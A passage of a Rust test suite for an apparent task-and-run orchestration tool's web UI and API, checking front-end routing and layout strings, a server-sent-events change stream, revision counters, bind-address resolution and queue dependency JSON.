13036 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13037 assert!(
13038 APP_JS.contains("location.hash = \"#/questions\";"),
13039 "a question node must jump to the Questions screen, not pretend to be a task"
13040 );
13041
13042 assert!(APP_JS.contains("Resolved questions"));
13045 assert!(APP_JS.contains("r.answersList.append("));
13046 assert!(APP_CSS.contains(".task-answers"));
13047 {
13048 let start = APP_JS
13049 .find("function updateTalkTaskRow")
13050 .expect("updateTalkTaskRow");
13051 let body = &APP_JS[start..];
13052 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13053 assert!(
13054 body.contains(
13055 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13056 ),
13057 "a chat-filed task row must link to the task page"
13058 );
13059 assert!(
13060 !body.contains("#/runs/") && !body.contains("#/queue/"),
13061 "the row must not branch to a run or the queue card"
13062 );
13063 assert!(APP_CSS.contains(".talk-task-link"));
13064 }
13065 }
13066
13067 #[test]
13068 fn a_task_notification_links_to_the_task_page() {
13069 let start = APP_JS
13071 .find("function noticeLink(")
13072 .expect("noticeLink exists");
13073 let body = &APP_JS[start..];
13074 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13075 assert!(
13076 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13077 "a task notice's link must target the task page"
13078 );
13079 assert!(
13080 !body.contains("#/queue/"),
13081 "regression: the task link must not go back to the Backlog route"
13082 );
13083 assert!(
13084 APP_JS.contains(
13085 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13086 ),
13087 "`#/tasks/<id>` must parse into the task route"
13088 );
13089
13090 assert!(
13092 APP_JS.contains(
13093 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13094 ),
13095 "`#/queue/<id>` must parse into a route carrying that id"
13096 );
13097
13098 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13102 assert!(APP_JS.contains("function consumeQueueFocus()"));
13103 assert!(APP_JS.contains("jumpToTask(id)"));
13104 }
13105
13106 #[test]
13109 fn chat_rows_put_the_title_alone_on_the_first_line() {
13110 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13111 assert!(APP_CSS.contains(
13112 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13113 ));
13114 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13115 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13116 }
13117
13118 #[test]
13119 fn run_rows_put_the_title_alone_on_the_first_line() {
13120 assert!(
13121 APP_CSS.contains(
13122 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13123 )
13124 );
13125 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13126 assert!(APP_JS.contains("class: \"card run-card\""));
13127 assert!(APP_JS.contains("class: \"repo run-id\""));
13128 }
13129
13130 #[test]
13134 fn wide_screens_show_list_and_preview_side_by_side() {
13135 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13137 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13138 assert!(APP_CSS.contains("main[data-split]"));
13139 assert!(APP_CSS.contains("body[data-split]"));
13140
13141 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13143 assert!(
13144 APP_JS.contains(
13145 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13146 )
13147 );
13148 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13149 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13150 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13151
13152 assert!(APP_JS.contains("function markSelected() {"));
13154 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13155 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13156 assert!(
13158 APP_CSS.contains(
13159 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13160 )
13161 );
13162
13163 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13165 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13166 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13167 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13168
13169 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13173 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13174 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13175 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13176
13177 assert!(APP_JS.contains("sandbox: \"\""));
13179 assert!(!APP_JS.contains("sandbox: \"allow"));
13180 }
13181
13182 #[test]
13183 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13184 assert!(
13193 APP_JS.contains(
13194 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13195 ),
13196 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13197 recursive renderQueue() call has nothing left to jump to"
13198 );
13199 assert!(
13200 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13201 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13202 arrives later still gets it"
13203 );
13204 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13205 assert!(APP_JS.contains("is not in the current Backlog."));
13206 assert!(APP_JS.contains("li.card[data-task-id=\""));
13207 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13208 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13209 assert!(APP_CSS.contains(".card-permalink"));
13210 assert!(APP_CSS.contains(".queue-focus-status"));
13211 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13212 }
13213
13214 #[test]
13215 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13216 assert!(
13224 APP_JS.contains(
13225 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13226 ),
13227 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13228 );
13229 }
13230
13231 #[test]
13232 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13233 assert!(
13234 APP_JS.contains("round.verified_head !== round.head"),
13235 "a round that verified an earlier commit must be visibly distinct from one that \
13236 verified the head reviewers are looking at now"
13237 );
13238 assert!(
13239 APP_JS.contains("round.verified_at"),
13240 "when a check ran must be on the wire, not just which commit"
13241 );
13242 assert!(
13243 APP_JS.contains("resource_blocked"),
13244 "a command magi never got to run (shared build cache contention) must not render \
13245 the same as a command that ran and failed"
13246 );
13247 }
13248
13249 #[test]
13250 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13251 assert!(
13259 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13260 "every KPI tile built through statusTile() must route its click through \
13261 openRunsFiltered, the single place that sets the Runs filter"
13262 );
13263 for (label, status) in [
13264 ("Merged", "merged"),
13265 ("Ready", "ready"),
13266 ("Blocked", "blocked"),
13267 ("Stalled", "stalled"),
13268 ] {
13269 let call = format!("statusTile(\"{label}\", t.{status}, ");
13270 assert!(
13271 APP_JS.contains(&call),
13272 "expected the {label} KPI tile built via {call}..."
13273 );
13274 assert!(
13275 APP_JS.contains(&format!("status === \"{status}\"")),
13276 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13277 compare a run against, not one invented only for the stats tile"
13278 );
13279 }
13280 assert!(
13281 APP_JS.contains("function openRunsFiltered(status)"),
13282 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13283 );
13284 assert!(
13285 APP_JS.contains(
13286 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13287 ),
13288 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13289 );
13290 assert!(
13298 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13299 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13300 hashchange event that may never fire"
13301 );
13302 }
13303
13304 #[test]
13305 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13306 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13312 assert!(
13313 APP_JS.contains(
13314 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13315 ),
13316 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13317 guard for an incompatible tree section"
13318 );
13319 }
13320
13321 #[test]
13322 fn every_stats_queue_tile_names_a_real_queue_section() {
13323 assert!(
13329 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13330 "every queue tile built through sectionTile() must route its click through \
13331 openQueueSectionFocus"
13332 );
13333 for key in ["upnext", "running", "done", "held", "blocked"] {
13334 assert!(
13335 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13336 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13337 );
13338 }
13339 for line in [
13343 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13344 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13345 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13346 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13347 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13348 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13349 ] {
13350 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13351 }
13352 }
13353
13354 #[test]
13355 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13356 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13363 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13364 assert!(APP_JS.contains("function revealQueueSection(details)"));
13365 assert!(
13366 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13367 "renderQueue() must consume both focus channels on every pass"
13368 );
13369 assert!(
13370 APP_JS.contains(
13371 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13372 ),
13373 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13374 the recursive renderQueue() call has nothing left to reveal"
13375 );
13376 assert!(
13377 APP_JS.contains(
13378 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13379 ),
13380 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13381 );
13382 assert!(
13390 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13391 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13392 hashchange event that may never fire"
13393 );
13394 }
13395
13396 #[tokio::test]
13397 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13398 let f = Fixture::start().await;
13399
13400 let mut socket = tokio::net::TcpStream::connect(f.addr)
13401 .await
13402 .expect("connect");
13403 socket
13404 .write_all(
13405 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13406 )
13407 .await
13408 .expect("write request");
13409
13410 let mut seen = String::new();
13413 let mut buf = [0u8; 1024];
13414 while !seen.contains("event: change") {
13415 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13416 .await
13417 .expect("the stream must speak within five seconds")
13418 .expect("read");
13419 assert!(read > 0, "the server closed the change stream: {seen}");
13420 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13421 }
13422
13423 assert!(
13424 seen.to_lowercase()
13425 .contains("content-type: text/event-stream"),
13426 "the browser only reconnects automatically for a real SSE stream: {seen}"
13427 );
13428 let data = seen
13429 .lines()
13430 .find_map(|l| l.strip_prefix("data:"))
13431 .expect("a data line");
13432 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13433 assert!(
13434 payload["queue_rev"].is_u64()
13435 && payload["runs_rev"].is_u64()
13436 && payload["questions_rev"].is_u64()
13437 && payload["talks_rev"].is_u64()
13438 && payload["notifications_rev"].is_u64()
13439 && payload["loop_rev"].is_u64(),
13440 "the client needs one revision per store to know what to refetch, \
13441 and `talks_rev` is the only notification a standing talk gets - a \
13442 phone whose radio slept through a turn learns about it here, as \
13443 does one whose operator started the loop from another device: \
13444 {payload}"
13445 );
13446
13447 let health = f.get("/api/health").await.json();
13454 for key in [
13455 "queue_rev",
13456 "runs_rev",
13457 "questions_rev",
13458 "talks_rev",
13459 "notifications_rev",
13460 "loop_rev",
13461 ] {
13462 assert!(
13463 health[key].is_u64(),
13464 "health is the change stream's fallback and is missing `{key}`: {health}"
13465 );
13466 }
13467 }
13468
13469 #[tokio::test]
13470 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13471 let f = Fixture::start().await;
13472 let before = f.get("/api/health").await.json()["talks_rev"]
13473 .as_u64()
13474 .expect("talks_rev");
13475
13476 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13477 std::thread::sleep(Duration::from_millis(10));
13478 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13479 on_disk.turns.push(crate::talk::Turn {
13480 breaks: Some(Vec::new()),
13481 who: crate::talk::Who::Operator,
13482 body: "a new turn".to_owned(),
13483 at: Timestamp::now(),
13484 attachments: Vec::new(),
13485 usage: None,
13486 });
13487 f.talks().put(&mut on_disk).expect("record a turn");
13488
13489 let after = f.get("/api/health").await.json()["talks_rev"]
13490 .as_u64()
13491 .expect("talks_rev");
13492 assert_ne!(
13493 before, after,
13494 "a phone must be able to notice a talk's reply without polling every store"
13495 );
13496 }
13497
13498 #[test]
13499 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13500 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13504 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13505 }
13506 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13507 assert!("everywhere".parse::<Bind>().is_err());
13508 }
13509
13510 #[test]
13511 fn an_explicit_bind_address_is_taken_verbatim() {
13512 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13513
13514 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13515
13516 assert_eq!(addr, asked);
13517 assert!(
13518 warning.is_none(),
13519 "an operator who named an address gets no lecture"
13520 );
13521 }
13522
13523 #[test]
13524 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13525 let (addr, warning) = resolve_bind(&Bind::Auto);
13526
13527 match addr {
13534 IpAddr::V4(ip) if is_tailnet(&ip) => {
13535 assert!(warning.is_none(), "a tailnet address needs no warning");
13536 }
13537 other => {
13538 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13539 let warning = warning.expect("a fallback has to explain itself");
13540 assert!(
13541 warning.contains("127.0.0.1") && warning.contains("local-only"),
13542 "the warning says what happened and what it costs: {warning}"
13543 );
13544 }
13545 }
13546 }
13547
13548 #[test]
13549 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13550 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13554 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13555 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13556 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13557 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13558 }
13559
13560 #[test]
13561 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13562 let ids = vec![
13563 "20260902-140501-aaaa".to_owned(),
13564 "20260902-140502-aabb".to_owned(),
13565 ];
13566
13567 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13568 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13569 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13570
13571 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13572 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13573 assert_eq!(short, "20260902-140502-aabb");
13574 }
13575 #[tokio::test]
13576 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13577 let fx = Fixture::start().await;
13583 let id = panel(
13584 &fx,
13585 "<img src=\"shot.png\">",
13586 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13587 );
13588
13589 let doc = fx
13591 .get(&format!("/api/questions/{id}/panel/index.html"))
13592 .await;
13593 assert_eq!(doc.status, 200, "{}", doc.body);
13594 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13595
13596 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13597 assert_eq!(sibling.status, 200, "{}", sibling.body);
13598 assert_eq!(sibling.header("content-type"), Some("image/png"));
13599 assert_eq!(
13600 sibling.header("content-security-policy"),
13601 Some(PANEL_CSP),
13602 "the sibling route must carry the same policy as the asset route"
13603 );
13604
13605 assert_eq!(
13608 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13609 200
13610 );
13611 }
13612
13613 #[test]
13614 fn delta_stamps_cover_add_update_remove_and_noop() {
13615 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13616 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13617 let delta = diff_stamps(&before, &after, 42);
13618 assert_eq!(delta.base, 42);
13619 assert_eq!(delta.changed, ["b", "c"]);
13620 assert_eq!(delta.removed, ["a"]);
13621 let same = diff_stamps(&after, &after, 43);
13622 assert!(same.changed.is_empty() && same.removed.is_empty());
13623 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13624 let nanos: Stamps = [("b".into(), (2, 20))].into();
13625 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13626 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13627 assert_eq!(stamps_revision(&Stamps::new()), 0);
13628 }
13629
13630 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13631 std::fs::create_dir_all(home.join("runs")).unwrap();
13632 Arc::new(Ui::new(
13633 Queue::at(home.join("queue")),
13634 Questions::at(home.join("questions")),
13635 Talks::at(home.join("talks")),
13636 home.join("runs"),
13637 home.to_owned(),
13638 PathBuf::from("/repo/magi"),
13639 ))
13640 }
13641
13642 #[tokio::test]
13643 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13644 let home = TempDir::new().unwrap();
13645 let ui = delta_test_ui(home.path());
13646 let mut task = Task::new(
13647 "stream task".into(),
13648 "text".into(),
13649 PathBuf::from("/repo"),
13650 Source::Human,
13651 );
13652 ui.queue.put(&mut task).unwrap();
13653 let response = events(State(ui.clone())).await.into_response();
13654 let mut stream = response.into_body().into_data_stream();
13655 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13656 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13657 .await
13658 .unwrap()
13659 .unwrap()
13660 .unwrap();
13661 let text = String::from_utf8(chunk.to_vec()).unwrap();
13662 let data = text
13663 .lines()
13664 .find_map(|line| {
13665 line.strip_prefix("data: ")
13666 .or_else(|| line.strip_prefix("data:"))
13667 })
13668 .unwrap();
13669 serde_json::from_str(data).unwrap()
13670 }
13671 let initial = change(&mut stream).await;
13672 assert!(initial.get("queue_delta").is_none());
13673 task.instruction.push_str(" changed");
13674 ui.queue.put(&mut task).unwrap();
13675 let updated = change(&mut stream).await;
13676 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13677 assert_eq!(
13678 updated["queue_delta"]["changed"],
13679 serde_json::json!([task.id])
13680 );
13681 assert_eq!(
13682 updated["queue_rev"].as_u64(),
13683 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13684 );
13685 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13686 let removed = change(&mut stream).await;
13687 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13688 assert_eq!(
13689 removed["queue_delta"]["removed"],
13690 serde_json::json!([task.id])
13691 );
13692 }
13693
13694 #[tokio::test]
13695 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13696 let home = TempDir::new().unwrap();
13697 let ui = delta_test_ui(home.path());
13698 let queue = ui.queue.clone();
13699 let query = |ids: Option<&str>| {
13700 Query(ListQuery {
13701 limit: Some(2),
13702 ids: ids.map(str::to_owned),
13703 })
13704 };
13705 let mut root = Task::new(
13706 "root".into(),
13707 "instruction".into(),
13708 PathBuf::from("/repo"),
13709 Source::Human,
13710 );
13711 queue.put(&mut root).unwrap();
13712 let mut blocked = Task::new(
13713 "blocked".into(),
13714 "instruction".into(),
13715 PathBuf::from("/repo"),
13716 Source::Human,
13717 );
13718 blocked.block(vec![root.id.clone()], None);
13719 queue.put(&mut blocked).unwrap();
13720 let whole =
13721 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13722 .unwrap();
13723 let subset = serde_json::to_value(
13724 queue_list(State(ui.clone()), query(Some(&root.id)))
13725 .await
13726 .unwrap()
13727 .0,
13728 )
13729 .unwrap();
13730 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13731 let blockers = serde_json::to_value(
13732 queue_list(State(ui.clone()), query(Some("")))
13733 .await
13734 .unwrap()
13735 .0,
13736 )
13737 .unwrap();
13738 assert_eq!(blockers.as_array().unwrap().len(), 1);
13739 assert_eq!(blockers[0]["id"], blocked.id);
13740 assert_eq!(
13741 blockers[0]["waits_on"],
13742 whole
13743 .as_array()
13744 .unwrap()
13745 .iter()
13746 .find(|row| row["id"] == blocked.id)
13747 .unwrap()["waits_on"]
13748 );
13749
13750 for id in [
13751 "20260902-140501-aaaa",
13752 "20260902-140502-bbbb",
13753 "20260902-140503-cccc",
13754 ] {
13755 write_run(&ui.runs, id, RunStatus::Merged);
13756 }
13757 let old = serde_json::to_value(
13758 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13759 .await
13760 .unwrap()
13761 .0,
13762 )
13763 .unwrap();
13764 assert!(
13765 old.as_array().unwrap().is_empty(),
13766 "older updates must not enter the window"
13767 );
13768 let newest = serde_json::to_value(
13769 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13770 .await
13771 .unwrap()
13772 .0,
13773 )
13774 .unwrap();
13775 assert_eq!(newest.as_array().unwrap().len(), 1);
13776 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13777
13778 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13779 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13780 let talks = serde_json::to_value(
13781 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13782 .await
13783 .unwrap()
13784 .0,
13785 )
13786 .unwrap();
13787 assert_eq!(talks.as_array().unwrap().len(), 1);
13788 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13789 assert_eq!(
13790 serde_json::to_value(
13791 talks_list(State(ui.clone()), query(Some("")))
13792 .await
13793 .unwrap()
13794 .0
13795 )
13796 .unwrap(),
13797 serde_json::json!([])
13798 );
13799 }
13800
13801 #[tokio::test]
13802 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13803 async fn delta_payload_benchmark() {
13804 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13805 let ui = delta_test_ui(&home);
13806 let query = |ids: Option<String>| {
13807 Query(ListQuery {
13808 limit: Some(50),
13809 ids,
13810 })
13811 };
13812 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13813 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13814 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13815 let queue_id = queue
13816 .iter()
13817 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13818 .unwrap_or(&queue[0])
13819 .task
13820 .id
13821 .clone();
13822 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13823 .await
13824 .unwrap()
13825 .0;
13826 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13827 .await
13828 .unwrap()
13829 .0;
13830 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13831 .await
13832 .unwrap()
13833 .0;
13834 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13835 eprintln!(
13836 "DELTA_PAYLOAD {}",
13837 serde_json::json!({
13838 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13839 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13840 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13841 "counts": [queue.len(), runs.len(), talks.len()],
13842 "blocked": queue_delta.len() - 1,
13843 })
13844 );
13845 }
13846
13847 #[test]
13848 fn runs_revision_moves_when_deleting_an_older_run() {
13849 let temp = TempDir::new().expect("tempdir");
13850 let runs = temp.path().join("runs");
13851 std::fs::create_dir_all(&runs).expect("create runs dir");
13852
13853 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13854
13855 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13856 std::thread::sleep(Duration::from_millis(10));
13857 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13858
13859 let rev_before = runs_revision(&runs);
13860 assert!(rev_before > 0);
13861
13862 let old_dir = runs.join("20260901-100000-old1");
13863 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13864
13865 let rev_after = runs_revision(&runs);
13866 assert_ne!(
13867 rev_before, rev_after,
13868 "deleting an older run must change the revision so other clients see the deletion"
13869 );
13870 }
13871
13872 fn write_state(runs: &FsPath, state: &RunState) {
13877 let dir = runs.join(&state.id);
13878 std::fs::create_dir_all(&dir).expect("run dir");
13879 std::fs::write(
13880 dir.join("run.json"),
13881 serde_json::to_string_pretty(state).expect("serialize run"),
13882 )
13883 .expect("write run.json");
13884 }
13885
13886 #[test]
13891 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13892 let temp = TempDir::new().expect("tempdir");
13893 let runs = temp.path().join("runs");
13894 std::fs::create_dir_all(&runs).expect("create runs dir");
13895 let mut state = RunState::new(
13896 PathBuf::from("/repo/magi"),
13897 "main".to_owned(),
13898 "0123456789abcdef".to_owned(),
13899 "task".to_owned(),
13900 Config::default(),
13901 );
13902 state.id = "20260902-100000-c0de".to_owned();
13903 write_state(&runs, &state);
13904
13905 let rev_idle = runs_revision(&runs);
13906 std::thread::sleep(Duration::from_millis(10));
13907 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13908 write_state(&runs, &state);
13909 let rev_started = runs_revision(&runs);
13910 assert_ne!(
13911 rev_idle, rev_started,
13912 "a seat starting must move the revision"
13913 );
13914
13915 std::thread::sleep(Duration::from_millis(10));
13916 state.seat_finished("judge-1");
13917 write_state(&runs, &state);
13918 let rev_finished = runs_revision(&runs);
13919 assert_ne!(
13920 rev_started, rev_finished,
13921 "and clearing it again must move the revision a second time"
13922 );
13923 }
13924
13925 #[tokio::test]
13926 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13927 let fx = Fixture::start().await;
13932 let q = fx.queue();
13933
13934 let mut t = Task::new(
13935 "Task".to_owned(),
13936 "Instruction".to_owned(),
13937 PathBuf::from("/repo"),
13938 Source::Human,
13939 );
13940 t.block(
13941 vec!["20260101-000000-dead".to_owned()],
13942 Some("waiting on Task 1".to_owned()),
13943 );
13944 t.answers.push(crate::queue::AnsweredQuestion {
13945 question: "Which backend?".to_owned(),
13946 answer: "SQLite".to_owned(),
13947 });
13948 q.put(&mut t).expect("put t");
13949
13950 let res = fx.get("/api/queue").await;
13951 assert_eq!(res.status, 200);
13952 let list = res.json();
13953 let view = list
13954 .as_array()
13955 .expect("array")
13956 .iter()
13957 .find(|v| v["id"] == t.id)
13958 .expect("task in list");
13959 assert_eq!(view["status_str"], "blocked");
13960 assert_eq!(
13961 view["blocked_by"],
13962 serde_json::json!(["20260101-000000-dead"])
13963 );
13964 assert_eq!(view["block_reason"], "waiting on Task 1");
13965 assert_eq!(view["answers"][0]["question"], "Which backend?");
13966 assert_eq!(view["answers"][0]["answer"], "SQLite");
13967
13968 let res = fx
13972 .post(&format!("/api/queue/{}/hold", t.short()), None)
13973 .await;
13974 assert_eq!(res.status, 200);
13975 let held = res.json();
13976 assert_eq!(held["status_str"], "held");
13977 assert_eq!(held["blocked_by"], serde_json::json!([]));
13978 assert!(held["block_reason"].is_null());
13979 assert_eq!(held["answers"][0]["answer"], "SQLite");
13980 }
13981
13982 #[tokio::test]
13983 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13984 let fx = Fixture::start().await;
13985 let q = fx.queue();
13986 let mk = |title: &str| {
13987 Task::new(
13988 title.to_owned(),
13989 "Instruction".to_owned(),
13990 PathBuf::from("/repo"),
13991 Source::Human,
13992 )
13993 };
13994 let mut root = mk("root");
13995 root.hold_manual(Some("waiting".to_owned()));
13996 q.put(&mut root).unwrap();
13997 let mut mid = mk("mid");
13998 mid.block(vec![root.id.clone()], None);
13999 q.put(&mut mid).unwrap();
14000 let mut leaf = mk("leaf");
14001 leaf.block(vec![mid.id.clone()], None);
14002 q.put(&mut leaf).unwrap();
14003
